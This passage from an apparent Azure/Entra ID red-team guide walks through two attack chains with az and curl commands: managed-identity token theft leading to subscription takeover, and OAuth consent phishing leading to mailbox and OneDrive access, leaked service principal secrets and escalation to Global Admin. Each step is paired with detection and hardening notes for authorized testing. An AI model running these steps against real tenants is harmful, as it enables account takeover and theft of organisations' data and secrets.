    TOKEN=...; echo "$TOKEN" | cut -d. -f2 | base64 -d | jq '{aud,oid}'curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
    
  3. Enumerate the identity's RBAC: az role assignment list --assignee <oid> --all → it's Contributor on the resource group (common).

  4. Escalate: Contributor can create resources & run code — deploy a runbook/Function or run-command other VMs to harvest more managed-identity tokens; find one with Owner/User Access Administrator, or a VM whose identity can read Key Vault admin secrets.

  5. Consolidate: with an Owner/UAA identity, assign yourself Owner; with Key Vault access, pull the crown-jewel secrets (SP creds, DB strings) → durable tenant access. Chain: SSRF/RCE → IMDS token → Contributor → lateral managed-identity harvest → Owner/Key Vault → subscription takeover. Fixes: block SSRF to 169.254.169.254, least-privilege managed identities, restrict runCommand, private Key Vault + least privilege.


Authorized/lab. No password needed — abuse OAuth consent.

  1. Illicit consent grant: register a multi-tenant app requesting Mail.Read Files.Read.All offline_access; send the consent URL. The victim consents → you receive a refresh token to their data (MFA-agnostic, no password).

    # after consent, redeem the code for tokens, then read data as the user:az rest --url "https://graph.microsoft.com/v1.0/me/messages?\$top=20"az rest --url "https://graph.microsoft.com/v1.0/me/drive/root/children"
    

    Telemetry: Consent to application + first-time SP sign-in. Fix: admin-consent-only policy; alert on new consents.

  2. Harvest secrets from their data: search mail/OneDrive/Teams for credentials, SP secrets, connection strings, ARM templates. Users routinely store these.

  3. Pivot to a service principal: a found secret authenticates an SP with Application.ReadWrite.All (or the user turns out to own an app).

    az login --service-principal -u <appId> -p <foundSecret> --tenant <tid>
    

    Telemetry: SP sign-in from new IP. Fix: rotate leaked secrets; least-privilege app roles.

  4. Escalate: as that SP, add a credential to a more-privileged SP / assign a directory role → Privileged Role Admin → Global Admin (as in Chain #1). Telemetry: Add service principal credentials, Add member to role.

  5. Bridge & loot: GA → elevateAccess → Owner → Key Vault / storage / DB keys. Chain: consent phish → user data → leaked SP secret → Application.ReadWrite.All → GA → Owner. Fixes: admin-consent-only, secret hygiene, alert on credential adds, PIM, alert on elevateAccess.


26. Quick Reference & Glossary

Fast triage after getting a token (authorized):

az account show
echo "$TOKEN" | cut -d. -f2 | base64 -d | jq '{aud,scp,roles,oid,tid,appid}'
az role assignment list --all -o table
az rest --url "https://graph.microsoft.com/v1.0/me/memberOf"
az keyvault list -o table; az storage account list -o table; az vm list -d -o table
az ad app list --query "[?owners]"; az ad sp list --all --query "[].appRoles"

Glossary:

  • Entra ID / Entra roles — cloud identity (formerly Azure AD) / directory roles (GA, PRA, App Admin, UAA).

  • Azure RBAC — resource roles (Owner/Contributor/User Access Administrator) on tenant→MG→sub→RG→resource.

  • elevateAccess — GA toggle → User Access Administrator at root (identity→resource bridge).

  • Service principal / app registration / managed identity — app instance / app definition+creds / passwordless resource identity.

  • IMDS / IDENTITY_ENDPOINT — token endpoints that vend managed-identity tokens (VM vs App Service).

  • ARM / Graph / Key Vault audiences — the API a token's aud is valid for.

  • FOCI — family-of-client-IDs refresh-token sharing → pivot audiences.

  • Device-code / consent phishing — identity initial-access techniques.

  • AD Connect / PHS / PTA / Seamless SSO / Golden SAML — hybrid Entra↔AD attack surface.

  • Sentinel / Defender for Cloud / Entra logs — SIEM / CSPM+workload protection / identity audit.


End of guide. All commands are enumeration/verification templates for authorized tenants/subscriptions only. Every offensive vector is paired with a "Detect & Harden" note, and both chains show that breaking any single link defeats the attack — the AZRTE objective: prove the chain, then remediate each hop.

Leave a heart if you found this helpful

Comments

Sign in to leave a comment